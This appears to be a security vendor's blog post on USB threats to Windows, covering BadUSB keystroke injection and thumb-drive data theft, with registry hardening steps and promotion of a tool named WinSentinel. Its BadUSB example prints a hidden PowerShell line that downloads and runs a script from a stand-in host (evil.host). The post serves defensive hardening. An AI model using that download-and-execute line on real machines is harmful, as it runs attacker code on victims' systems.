USB Device Control on Windows: Stopping BadUSB and Data Exfiltration at the Port
Removable media is still one of the most overlooked attack surfaces on Windows endpoints - from BadUSB keystroke injection to silent data exfiltration. Here's how USB attacks actually work, the registry and policy controls that lock the port down, and what WinSentinel's Device Control module audits.
Every security program eventually obsesses over the network: firewalls, segmentation, TLS inspection, egress filtering. Meanwhile there is a physical port on the front of the machine that will trust almost anything you plug into it, run code as the logged-in user, and copy gigabytes off the box without a single packet crossing the perimeter. USB remains one of the most underestimated attack surfaces on Windows, and the tooling to abuse it costs less than lunch.
This post walks through the two categories of USB attack that matter, the Windows controls that actually stop them, and how to audit whether your endpoints are exposed right now.
Two Threats Wearing the Same Connector
1. BadUSB — the keyboard that isn't a keyboard
A USB device tells Windows what it is. A "Rubber Ducky," a flashed Arduino, or a malicious cable can declare itself a Human Interface Device (HID) — a keyboard — and Windows will load the generic HID driver with zero prompts, because keyboards are trusted by definition. From there the device "types" thousands of keystrokes per minute:
# What a BadUSB payload "types" the instant it's plugged in:
GUI r # open the Run dialog
powershell -w hidden -nop -c "iwr http://evil.host/a.ps1 | iex"
ENTER
There is no malware on a drive to scan, no autorun to disable. The device is an input peripheral, and the attack is just very fast typing. This is why "we block USB mass storage" is not the same as "we are safe from USB" — a HID attack never mounts a volume.
2. Data exfiltration — the oldest trick that still works
The other half is mundane and far more common: a mass-storage device shows up as a drive letter and someone drags a folder of customer records onto it. No exploit required. The Verizon DBIR has tracked physical-media exfiltration and "privilege misuse" for years; it is overwhelmingly an insider or careless-employee problem, not a movie-grade hack. A 256 GB thumb drive can hold an entire database export and walk out in a pocket.
The Controls That Actually Help
Windows ships with everything you need to lock the port down — the controls are just buried and rarely set. Here are the ones worth knowing, roughly from blunt to surgical.
Block removable storage outright. The cleanest lever for mass storage is the Removable Storage Access policy. Deny-all-read/write turns thumb drives into bricks while leaving keyboards and mice working:
# Deny read + write to all removable storage classes (per-machine)
$rs = "HKLM:\SOFTWARE\Policies\Microsoft\Windows\RemovableStorageDevices"
New-Item -Path $rs -Force | Out-Null
New-ItemProperty -Path $rs -Name "Deny_All" -Value 1 -PropertyType DWord -Force
# Or stop the USB storage driver from starting at all (3 = manual, 4 = disabled)
reg add "HKLM\SYSTEM\CurrentControlSet\Services\USBSTOR" /v Start /t REG_DWORD /d 4 /f
Allow only known devices. A pure block is hard in the real world — people need their YubiKeys, badge readers, and approved encrypted drives. Device installation restrictions let you allowlist by hardware ID or device class while denying everything else:
# Find the hardware/instance IDs you want to allow
Get-PnpDevice -Class USB | Select-Object FriendlyName, InstanceId, Status
# Policy lives under:
# HKLM\SOFTWARE\Policies\Microsoft\Windows\DeviceInstall\Restrictions
# DenyDeviceClasses / AllowDeviceIDs / DenyUnspecified = 1
Mitigate BadUSB specifically. Storage policy does nothing against a HID attack. The practical defenses are different: require explicit approval for newly attached input devices, deploy a "USB drop" detector that flags a keyboard appearing on a machine that already has one, and — most effective — train users that an unknown cable or "found" drive is hostile. Microsoft Defender for Endpoint's device control and ASR also reduce what a dropped payload can do once it "types."
Audit, even where you don't block. Windows logs device arrivals. Enable the Plug and Play (PnP) and partition events and you get an immutable trail of every drive that ever touched the machine — invaluable after an incident, and a deterrent when people know it exists.
What WinSentinel's Device Control Module Audits
You can set all of the above by hand on one machine. The hard part is knowing the current state — which is exactly what an audit is for. WinSentinel's Device Control module inspects the live configuration and tells you, in plain language, where the port is open:
$ winsentinel --audit --modules device-control
Device Control
─────────────────────────────────────────────────────
[CRITICAL] USB mass storage is unrestricted
→ USBSTOR start = 3 (manual); RemovableStorageDevices\Deny_All not set
→ Any user can mount a thumb drive and copy data off this host
[WARNING] Device installation allowlist not configured
→ DenyUnspecified = 0 — unknown device classes install silently
→ Fix: define AllowDeviceIDs for approved hardware, set DenyUnspecified = 1
[WARNING] AutoRun / AutoPlay not fully disabled
→ NoDriveTypeAutoRun = 0x95 (expected 0xFF)
[INFO] PnP device-arrival auditing is OFF
→ No event trail of attached removable media
→ Enable: auditpol /set /subcategory:"PNP Activity" /success:enable
[INFO] 14 USB devices seen in device history
→ 11 HID, 2 mass storage, 1 unknown vendor (review)
Every finding is on-device and actionable: WinSentinel reads the same registry and policy keys an attacker would probe, then hands you the exact fix. This is core, single-machine hardening — and it is fully available in the free tier, like all 33 modules, with no limits. Free isn't a crippled demo; it's the complete audit engine on one box.
Where Fleet Scale Changes the Problem
One machine is a checklist. A hundred machines is a policy you can't trust until you've verified it everywhere. The questions change: Which endpoints still have USBSTOR enabled after we pushed the GPO? Did a new laptop ship with the allowlist missing? Did someone flip a key back last week?
That is the job of WinSentinel Pro's central node. Each agent runs the same Device Control audit locally, then rolls its results up so you get a fleet-wide view: a compliance rollup of which machines enforce removable-storage policy, and drift alerts the moment a previously-hardened endpoint regresses. The per-machine power is identical to Free — Pro adds the orchestration, aggregation, and continuous monitoring that orgs need to prove the control holds across the whole estate.
The port on the front of the laptop trusts more than your firewall ever would. Audit it like you mean it.
Do This Today
- Run
winsentinel --audit --modules device-controland read the findings — most machines have at least one open. - If you don't need removable storage, deny it (
USBSTOR Start = 4) and confirm keyboards/mice still work. - Build a hardware-ID allowlist for the devices you do need; set
DenyUnspecified = 1. - Turn on PnP auditing so every future drive leaves a trail.
- Treat unknown cables and "found" USB drives as hostile — because the cheap ones are.
USB is the attack surface nobody schedules a meeting about. It doesn't need one — it just needs you to check the configuration once, fix what's open, and keep watching it. That's a five-minute audit on one machine, and a single dashboard across a fleet.